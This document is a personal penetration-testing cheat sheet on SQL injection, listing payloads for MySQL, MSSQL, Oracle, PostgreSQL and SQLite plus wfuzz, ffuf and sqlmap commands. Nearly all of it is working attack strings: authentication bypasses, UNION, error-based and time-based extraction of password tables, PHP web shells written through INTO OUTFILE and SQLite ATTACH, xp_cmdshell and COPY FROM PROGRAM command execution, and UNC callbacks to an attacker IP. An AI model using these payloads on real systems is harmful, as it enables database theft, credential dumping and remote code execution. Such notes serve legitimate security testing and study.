> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/owasp-10/sqli.md).

# SQL Injection

## 01. Getting Started

* Cheat sheets
  * [PentestMonky](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  * [invicti](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/)
  * [Github](https://gist.github.com/bradtraversy/c831baaad44343cc945e76c2e30927b3)
  * [Payload list](https://github.com/payloadbox/sql-injection-payload-list)
  * [Auth bypass payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass)

```bash
## ------------------| Fuzzing
wget https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/Injections/SQL.txt

ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" 
ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/wordlist/Injections/SQL.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded"                                         
```

```bash
## ------------------| Bypass
CHAR(58) --> :
CHAR(32) --> space
/**/     --> space
CHAR(39) --> '
CHAR(85) --> U

## ------------------| Auth Bypass
';#
'-- -
"-- -
admin ') -- -
admin'||''==='
admin ' or 1=1 -- -
admin ' or '1'='1
admin ' or '1'='1'
admin ' or '1'='1 -- -
admin ' or '1'='1' -- -
admin ' or 1=1 LIMIT 1; #
admin ' or 1=1 LIMIT 1; -- -

## ------------------| Enum cols
1 ORDER BY 1 -- -
1' ORDER BY 1 -- -
1' ORDER BY 2 -- -
1' UNION SELECT 1,2,3 -- -
1' UNION SELECT "1","2","3" -- -
1' UNION SELECT "1","PrintMe","3" -- -
1' UNION ALL SELECT 1,2,3 -- -
1' UNION ALL SELECT "1","2","3" -- -
1' UNION ALL SELECT "1","PrintMe","3" -- -

## ------------------| Check math
?id=1+1
?id=1+2
?id=1 + 2
?id=2-1
```

## 02. MySQL

* Useful commands

```bash
## ------------------| Fuzzing
1'1
1 exec sp_ (or exec xp_)
1 and 1=1
1' and 1=(select count(*) from tablenames); --
1 or 1=1
1' or '1'='1

## ------------------| Comment types
--      Comment Type 1
#       Comment Type 2
;%00    Null Byte

## ------------------| Extract version infomation
SELECT VERSION()
SELECT @@version
SELECT @@hostname
SELECT @@tmpdir
SELECT @@version_compile_machine
SELECT @@plugin_dir

## ------------------| Blind/No Output
SELECT SLEEP(5)

## ------------------| Extract current databse name 
SELECT DATABASE()
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

## ------------------| Extract tables information
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE 'dbname%'
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE 'dbname%' LIMIT 1,1 

## ------------------| Extract column information
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE 'users_secure' LIMIT 1,1

## ------------------| Concatenate values
SELECT GROUP_CONCAT(username,":",password) FROM users_secure 

## ------------------| Extract large characters from a string
SELECT SUBSTRING(password,1,30) FROM users_secure
SELECT SUBSTRING(password,31,60) FROM users_secure
SELECT SUBSTRING((password)FROM 1) FROM users_secure
SELECT SUBSTRING((password)FROM 30) FROM users_secure
```

* Privileges

```bash
## ------------------| Find current user
UNION SELECT 1, user(), 3 -- -

## ------------------| Find if user has admin privileges
UNION SELECT 1, super_priv, 3 FROM mysql.user WHERE user="root" -- -

## ------------------| Find if all user privileges
UNION SELECT 1, grantee, privilege_type, is_grantable FROM INFORMATION_SCHEMA.USER_PRIVILEGES -- -     

## ------------------| Find which directories can be accessed (Read/Write) through MySQL
UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv" -- - 
UNION SELECT 1, (SELECT GROUP_CONCAT("Name:",variable_name,"Value:",variable_value,"\r\n")) 4 FROM information_schema.global_variables where variable_name="secure_file_priv" -- -       
### if secure_file_priv is empty, can read/write files to any location 
### if secure_file_priv is NULL, cannot read/write from any directory
```

* File Injection

```bash
## ------------------| Read/Load file (MySQL)
UNION SELECT 1,(LOAD_FILE("/etc/passwd")),3 -- -
UNION SELECT 1,(TO_BASE64(LOAD_FILE("/etc/passwd"))),3 -- -
UNION SELECT 1,(TO_BASE64(LOAD_FILE("/var/www/html/index.php"))),3 -- -
UNION SELECT 1,(TO_BASE64(LOAD_FILE("C:\\xampp\\apache\\conf\\httpd.conf"))),3 -- -

## ------------------| Write File
UNION SELECT 1,'<?php phpinfo(); ?>',3 INTO OUTFILE '/var/www/html/testme.php' -- -    
UNION SELECT 1,'<?php phpinfo(); ?>',3 INTO OUTFILE '/var/lib/mysql/testme.php' -- -

## ------------------| Write a web shell into the base web directory
UNION SELECT "",'<?php system($_REQUEST[cmd]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -     
UNION SELECT "",'<?php system($_REQUEST[cmd]); ?>', "", "" INTO OUTFILE '/var/lib/mysql/shell.php'-- -     

## ------------------| Write File with base64
UNION SELECT 1,(FROM_BASE64("PD9waHAgc3lzdGVtKCRfUkVRVUVTVFtjbWRdKTsgPz4=")),3,4 INTO OUTFILE '/var/www/html/b64.php' -- - 
UNION SELECT 1,(FROM_BASE64("PD9waHAgc3lzdGVtKCRfUkVRVUVTVFtjbWRdKTsgPz4=")),3,4 INTO OUTFILE '/var/lib/mysql/b64.php' -- -       
```

### 02.1 Union Injection

```bash
## ------------------| Basic Check
1'-- -
1 -- -
-1 -- -
1" -- -
-1" -- -

## ------------------| Check how many columns do we have.
?id=1 ORDER BY 1 -- -            ### Check until it gives an error by incrementing the value
?id=1' ORDER BY 1 -- -
?id=1' ORDER BY 2 -- -   
?id=1' UNION SELECT 1,2,3 -- -   ### Check until it NOT gives an error by incrementing the value
?id=1' UNION SELECT "1","2","3" -- -
?id=1' UNION SELECT "1","PrintMe","3" -- -

## ------------------| Basic Union injection
?id=1' UNION SELECT 1,(SELECT 1337),3 -- -
?id=1' UNION SELECT 1,(SELECT @@version),3 -- -       
?id=1' UNION SELECT 1,(SELECT user()),3 -- -
?id=1' UNION SELECT 1,(SELECT system_user()),3 -- -

## ------------------| List all databases
?id=1' UNION SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),3 -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1),3 -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),3 -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1),3 -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(SCHEMA_NAME,char(10)) FROM INFORMATION_SCHEMA.SCHEMATA),3 -- -

## ------------------| List all tables in a hotel database
?id=1' UNION SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES -- -
?id=1' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='hotel' -- -     
?id=1' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like 'hotel' -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='hotel'),3 -- -

## ------------------| List all columns in a user table
?id=1' UNION SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user' -- -
?id=1' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user' -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user'),3  -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(TABLE_NAME,char(58),COLUMN_NAME,char(10)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'hotel'),3 -- -        

## ------------------| Dump data from a table
?id=1' UNION select 1,username,password,4 from <DB_NAME>.<TABLE_NAME>-- -
?id=1' UNION select 1,(SELECT GROUP_CONCAT(username,char(58),password) FROM <DB_NAME>.<TABLE_NAME>),3 -- -

## ------------------| Dump password
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(host,char(58),user,char(58),password,char(10)) FROM mysql.user),3 -- -
```

### 02.2 Error-Based Injection

<pre class="language-bash"><code class="lang-bash"><strong>## ------------------| Common Exploits
</strong>  and extractvalue(0x0a,version())-- -
' and extractvalue(0x0a,version())-- -
, and extractvalue(0x0a,version())-- -
' extractvalue(0x0a,version())-- -
, extractvalue(0x0a,version())-- -
" AND GTID_SUBSET(CONCAT((SELECT (ELT(1=1,version())))),1) AND "h4rithd"="h4rithd

## ------------------| Extract version information
' and extractvalue(0x0a,version())-- -
') and extractvalue(0x0a,version())-- -
') and extractvalue(0x0a,concat(0x0a,version()))-- -

## ------------------| Extract Database name
') and extractvalue(0x0a,concat(0x0a,DATABASE()))-- -
') and extractvalue(0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1)))-- -        
') and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA)))-- -

## ------------------| Extract Table names
') and extractvalue(0x0a,concat(0x0a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='redcross' LIMIT 2,1)))-- -    
') and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nagiosxi')))-- -

## ------------------| Extract columns
') and extractvalue(0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' LIMIT 2,1)))-- -    
') and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='xi_sysstat')))-- -

## ------------------| Extract data from table
') and extractvalue(0x0a,concat(0x0a,(SELECT username FROM users LIMIT 2,1)))-- -    
') and extractvalue(0x0a,concat(0x0a,(SELECT password FROM users LIMIT 2,1)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1),1,30)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1),30,60)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1) FROM 1)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1) FROM 30)))-- -
</code></pre>

### 02.3 Time Based Injection

<pre class="language-bash"><code class="lang-bash"><strong>## ------------------| Time-based blind
</strong>' AND SLEEP(5) AND '1'='1
' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND '1'='1
' AND 1753=BENCHMARK(5000000,MD5(0x4c677a6e))-- -

## ------------------| Extract the Database
' AND (SELECT IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)) AND '1'='1

## ------------------| Extract Table
' AND (SELECT IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='u', SLEEP(5), 0)) AND '1'='1

## ------------------| Extract Column Names
' AND (SELECT IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='&#x3C;table_name>' LIMIT &#x3C;index>,1),&#x3C;position>,1)='&#x3C;character>', SLEEP(5), 0)) AND '1'='1

## ------------------| Extract Data from Tables
' AND (SELECT IF(SUBSTRING((SELECT &#x3C;column_name> FROM &#x3C;table_name> LIMIT &#x3C;index>,1),&#x3C;position>,1)='&#x3C;character>', SLEEP(5), 0)) AND '1'='1
</code></pre>

## 03. MSSQL

* Useful Commands

```bash
## ------------------| Fuzzing
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'create user name identified by 'pass123' --
'create user name identified by pass123 temporary tablespace temp default tablespace users;
' ; drop table temp --
'exec sp_addlogin 'name' , 'password' --
' exec sp_addsrvrolemember 'name' , 'sysadmin' --
' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --
' grant connect to name; grant resource to name; --
' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
' or 1=1 --
' union (select @@version) --
' union (select NULL, (select @@version)) --
' union (select NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  NULL, (select @@version)) --

## ------------------| Comment types
--      Comment Type 1
--+     Comment Type 2
--+-    SQL Comment
/**/    Inline Comment
;%00    Null Byte

## ------------------| Extract version infomation
SELECT VERSION()
SELECT HOST_NAME()
SELECT @@version
SELECT @@hostname

## ------------------| Current User
SELECT user;
SELECT user_name();
SELECT system_user;
SELECT STRING_AGG(name,',') FROM sys.sql_logins

## ------------------| Check the account server services are running
SELECT servicename, service_account FROM sys.dm_server_services

## ------------------| Retrieve a list of database principals in the current database
### Entities that can own database-level securables and permissions
SELECT name,type FROM sys.database_principals

## ------------------| List Users
SELECT name FROM master..syslogins;

## ------------------| Extract current databse name
SELECT DB_NAME()
SELECT DB_NAME(1)
SELECT DB_NAME(2)
SELECT name FROM sys.databases;
SELECT name FROM master..sysdatabases;

## ------------------| Extract tables information
SELECT NAME FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';
SELECT CONCAT(NAME,':',ID) FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';
SELECT STRING_AGG(CONCAT(NAME,':',ID),'|') FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';
SELECT * FROM <DB_NAME>.INFORMATION_SCHEMA.TABLES;
SELECT NAME FROM MASTER..SYSOBJECTS WHERE XTYPE = 'U';
SELECT NAME FROM MASTER..SYSOBJECTS WHERE XTYPE = 'V';
SELECT TOP 1 name FROM <DB_NAME>..SYSOBJECTS WHERE xtype = 'U';
SELECT TOP (SELECT STRING_AGG(NAME,',') FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';

## ------------------| Extract column information
SELECT STRING_AGG(COLUMN_NAME,':') FROM <DB_NAME>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>'
SELECT STRING_AGG(NAME,':') FROM <DB_NAME>..SYSCOLUMNS WHERE id=<TABLE_ID>
SELECT CONCAT(COLUMN_NAME,':',DATA_TYPE) FROM <DB_NAME>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>';
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'table_name');     
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='table_name';          

## ------------------| Extract data
SELECT STRING_AGG(CONCAT(username,':',password),'|') FROM <TABLE_NAME>
select * from [server].[database].[schema].[table]
select * from [server].[database].dbo.[table]

## ------------------| DB file location
EXEC sp_helpdb master;
EXEC sp_helpdb pubs;

## ------------------| Read current query
UNION SELECT (SELECT text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),NULL-- -

## ------------------| Read file (MSSQL)
UNION SELECT 1,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),3,4 -- -  
BULK INSERT dbo.temp FROM 'c:flag.txt' WITH ( ROWTERMINATOR='n' );
DECLARE @h varchar(200);SET @h='\\10.10.14.38\h4rithd'; EXEC master.dbo.xp_dirtree @h;     
```

* Command Execution

```bash
## ------------------| Enable Command Execution & Run [OneLine]
EXEC sp_configure 'show advanced options', 1;EXEC sp_configure reconfigure;EXEC sp_configure 'xp_cmdshell', 1;EXEC sp_configure reconfigure;EXEC xp_cmdshell 'ping -n 2 <IP>'

## ------------------| Enable Command Execution I
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
EXEC sp_configure reconfigure;

## ------------------| Enable Command Execution II 
';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE-- -       
## Execute Commands
';DROP TABLE cmdout-- -
';CREATE TABLE cmdout(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))-- -
';DECLARE @junk VARCHAR(8000);SET @junk=0x77686f616d69;INSERT INTO cmdout(data) EXEC master..xp_cmdshell @junk-- -
' UNION SELECT (ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))),NULL FROM cmdout-- -
';DELETE FROM cmdout-- -

## ------------------| Command Execution
EXEC master.dbo.xp_cmdshell 'cmd';
EXEC xp_cmdshell 'cmd';
EXEC xp_cmdshell 'ping -n 2 <IP>'

## ------------------| Enable Alternative Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'OLE Automation Procedures', 1;
EXEC sp_configure reconfigure;

## ------------------| Alternative Command Execution
DECLARE @execmd INT;
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';

## ------------------| RunAs
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'password', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
EXECUTE AS USER = 'FooUser';
```

### [03.2 Error-Based Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md#mssql-error-based)

```bash
## ------------------| Separators
CHAR(58) --> :
CHAR(32) --> space
CHAR(85) --> U

## ------------------| For integer inputs
convert(int,@@version)
cast(@@version as integer)
cast((SELECT @@version) as int)

## ------------------| For Integer inputs
1 AND 1=CONVERT(INT,@@version) --

## ------------------| For string inputs
' + convert(int,@@version) + '
' + cast((SELECT @@version) as int) + '

## ------------------| Extract database names
### replace N with a number starting from 1
' + convert(int,(select DB_NAME(N))) + '
' + convert(int,(SELECT CAST(name AS nvarchar(4000)) FROM master..sysdatabases WHERE dbid=1)) + '     

## ------------------| Extract table names
' + convert(int,(SELECT STRING_AGG(name,CHAR(58)) FROM <DB_NAME>..sysobjects WHERE xtype = 'U' )) + '
' + convert(int,(SELECT top 1 name FROM <DB_NAME>..sysobjects WHERE xtype = 'U' )) + '
' + convert(int,(select top 1 table_name from information_schema.tables)) + '
' + convert(int,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)) + '  
cast((SELECT TOP 1 SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM <DB_NAME>..sysobjects WHERE xtype=CHAR(85) AND ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP <CHANGE_THIS_AS_1,2,3> ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM <DB_NAME>..sysobjects WHERE xtype=CHAR(85) ORDER BY name) ORDER BY name) CHAR(58) as int)

## ------------------| Extract column names
### replace N with a number starting from 1
' + convert(int,(SELECT STRING_AGG(name,CHAR(58)) FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = '<TABLE_NAME>'))) + '
' + convert(int,(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' ORDER BY column_name ASC) sq ORDER BY column_name DESC)) + '          
' + convert(int,(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM <DB_NAME>.information_schema.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' ORDER BY column_name ASC) sq ORDER BY column_name DESC)) + '        
SELECT TOP 1 SUBSTRING((ISNULL(CAST(<DB_NAME>..syscolumns.name AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM <DB_NAME>..syscolumns,<DB_NAME>..sysobjects WHERE <DB_NAME>..syscolumns.id=<DB_NAME>..sysobjects.id AND <DB_NAME>..sysobjects.name=<TABLE_NAME> AND ISNULL(CAST(<DB_NAME>..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP <CHANGE_THIS_AS_1,2,3> ISNULL(CAST(<DB_NAME>..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM <DB_NAME>..syscolumns,<DB_NAME>..sysobjects WHERE <DB_NAME>..syscolumns.id=<DB_NAME>..sysobjects.id AND <DB_NAME>..sysobjects.name=<TABLE_NAME> ORDER BY <DB_NAME>..syscolumns.name) ORDER BY <DB_NAME>..syscolumns.name

## ------------------| Extract Data
' + convert(int,(SELECT STRING_AGG(<COL_NAME>,CHAR(58)) FROM <DB_NAME>..<TABLE_NAME>)) + '
' + convert(int,(SELECT top 1 <COL_NAME> FROM (SELECT top N <COL_NAME> FROM archive..pmanager ORDER BY <COL_NAME> ASC) sq ORDER BY <COL_NAME> DESC)) + '
```

### 03.3 Stacked Queries Injection

<pre class="language-bash"><code class="lang-bash">## ------------------| My Way
sudo nc -lvnp 445
id=4';EXEC xp_dirtree '\\&#x3C;IP\test';-- - 

## ------------------| Identify
id=4';SELECT SLEEP(5)#
id=4;WAITFOR+DELAY+'0:0:10'--
id=4);waitfor delay '0:0:10'--
id=4';waitfor delay '0:0:10'--
id=4');waitfor delay '0:0:10'--
id=4));waitfor delay '0:0:10'--
id=4'));waitfor delay '0:0:10'--

## ------------------| Check if we're the privileged sa user
### If we're not sa, this should trigger a delay of 5 seconds.
if (select user) != 'sa' waitfor delay '00:00:05'--

## ------------------| Enum all users's DB roles 
<strong>CREATE TABLE roles ([rolename] sysname, [username] sysname)    
</strong>INSERT INTO roles (username, rolename) SELECT isnull (DP1.name, 'No members') AS DatabaseUserName, DP2.name AS DatabaseRoleName FROM msdb.sys.database_role_members AS DRM LEFT OUTER JOIN msdb.sys.database_principals AS DP1 ON DRM.member_principal_id = DP1.principal_id RIGHT OUTER JOIN msdb.sys.database_principals AS DP2 ON DRM.role_principal_id = DP2.principal_id WHERE DP2.type = 'R' ORDER BY DP1.name

## ------------------| Execute comands
</code></pre>

## 04. Oracal

```bash
## ------------------| Get user info
SELECT * FROM V$VERSION
SELECT USER FROM SYS.DUAL
SELECT OWNER FROM ALL_TABLES GROUP BY OWNER 
SELECT COUNT(*), OWNER FROM ALL_TABLES GROUP BY OWNER 

## ------------------| Extract Tables
SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER = 'SYS' ORDER BY TABLE_NAME

## ------------------| Extract Columns
SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>'
```

### [04.1 Union Injection](http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html)

```bash
## ------------------| Basic
' order by N--
' union select null,'h4rithd',null from dual--
' union select null,user,null from dual--
' union select null,ora_database_name,null from dual--
' union select null,sys.database_name,null from dual--
' union select null,global_name,null from dual--
' union select null,(select banner from v$version where rownum=1),null from dual--                                                

## ------------------| Extract database names
' union select null,(OWNER),null from SYS.ALL_TABLES--

## ------------------| Extract table names
' union select null,table_name,null from all_tables-- 

## ------------------| Extract column names
' union select null,column_name,null from all_tab_columns where table_name='<TABLE_NAME>'--

## ------------------| Extract Data
' union select null,<COLUMN_NAME>||CHR(58)||<COLUMN_NAME>,null from <TABLE_NAME>--
```

### 04.2 Error-Based Injection

```bash
## ------------------| Basic
' AND 1=CTXSYS.DRITHSX.SN(1,('h4rithd'))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT global_name FROM global_name))--
' AND 1=CTXSYS.DRITHSX.SN(1,(select banner from v$version where rownum=1))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SYS.DATABASE_NAME FROM DUAL))--

## ------------------| Extract database names
### replace N with a number starting from 1                                                                                                                                                                                                                                                                                   
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SUBSTRC((NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))),1,256) FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) ORDER BY 1 ASC) WHERE LIMIT=N))--

## ------------------| Extract table names
### replace N with a number starting from 1  
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SUBSTRC((NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32))),1,256) FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER IN ('<DB_NAME>') ORDER BY 1 ASC) WHERE LIMIT=N))--

## ------------------| Extract column names
### replace N with a number starting from 1
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SUBSTRC((NVL(CAST(COLUMN_NAME AS VARCHAR(4000)),CHR(32))),1,256) FROM (SELECT COLUMN_NAME,DATA_TYPE,ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DB_NAME>' ORDER BY 1 ASC) WHERE LIMIT=N))--

## ------------------| Extract Data
```

## 05. PostgreSQL

* Useful Commands

```bash
## ------------------| Basic 
select user;
select current_user;
select session_user;
select usename FROM pg_user;
select getpgusername();

## ------------------| Get users password hash
select usename FROM pg_user
select usename, passwd FROM pg_shadow 

## ------------------| Extract Databases
select * from pg_database;
select datname from pg_database;

## ------------------| Extact Table Names
select table_name from <DB_NAME>.information_schema.tables where table_schema = 'public';

## ------------------| Extract col names
select column_name,data_type from <DB_NAME>.information_schema.columns where table_name ='<TABLE_NAME>';

## ------------------| Read local file
select pg_read_file('/etc/passwd')

## ------------------| Command Execution 
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;
```

### 05.1 Stacked Queries Injection

```bash
SELECT PG_SLEEP(5)--
```

## 06. SQLite

```bash
## ------------------| Basic 
--         ## Single Comment
/**/      ## Multi Comment	
select sqlite_version();

## ------------------| Extract Database Structure
SELECT sql FROM sqlite_schema
SELECT sql FROM sqlite_master

## ------------------| List all databaeses
SELECT name FROM pragma_database_list
SELECT name FROM pragma_database_list LIMIT 0,1

## ------------------| Extract Table Name	
SELECT tbl_name FROM sqlite_master WHERE type='table'
SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 0,1
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

## ------------------| Extract Column Name
SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')
SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>') LIMIT 0,1
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'

## ------------------| Write shell file
ATTACH DATABASE '/var/www/html/h4rithd.php' AS h4rithd;
CREATE TABLE h4rithd.pwn (dataz text);
INSERT INTO h4rithd.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

## ------------------| Load file
UNION SELECT 1,load_extension('cmd.exe');--
UNION SELECT 1,load_extension('\\<IP>\shell.dll','DllMain');--
```

## 07. Automated

* Fuzzing

```bash
wfuzz -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.143/room.php?cod=1FUZZ 

## ------------------| Through BurpProxy
wfuzz -w /usr/share/seclists/Fuzzing/special-chars.txt -p 127.0.0.1:8080:HTTP -u http://10.10.10.143/room.php?cod=1FUZZ               
```

* SQLMap

```bash
## ------------------| For GET requests
sqlmap -u <URL> -p <PARA>
sqlmap -u <URL> -p <PARA> --dbms=mysql --dbs
sqlmap --random-agent --batch --url 'http://supersecurehotel.htb/room.php?cod=*'    

## ------------------| For POST requests
sqlmap --random-agent --batch -r req-file 
sqlmap -r toolbox.req --risk=3 --level=3 --batch --force-ssl --os-shell 

## ------------------| With Tamper
sqlmap --random-agent --batch --tamper=space2comment --url 'http://supersecurehotel.htb/room.php?cod=*'

## ------------------| With burp proxy
--proxy http://127.0.0.1:8080

## ------------------| Custom commands
--banner -b
--users
--sql-shell
--os-shell
--sql-query
--union-cols 
--fresh-queries
--privileges
--current-user
--count
--dump-all --exclude-sysdbs
--flush-session
--dbms=[mysql/mssql] 
--technique=BEUSTQ
--cookie="auth=abc*"
--answers="Y" --batch
--current-db
--start=1 --stop=10

## ------------------| Best settings
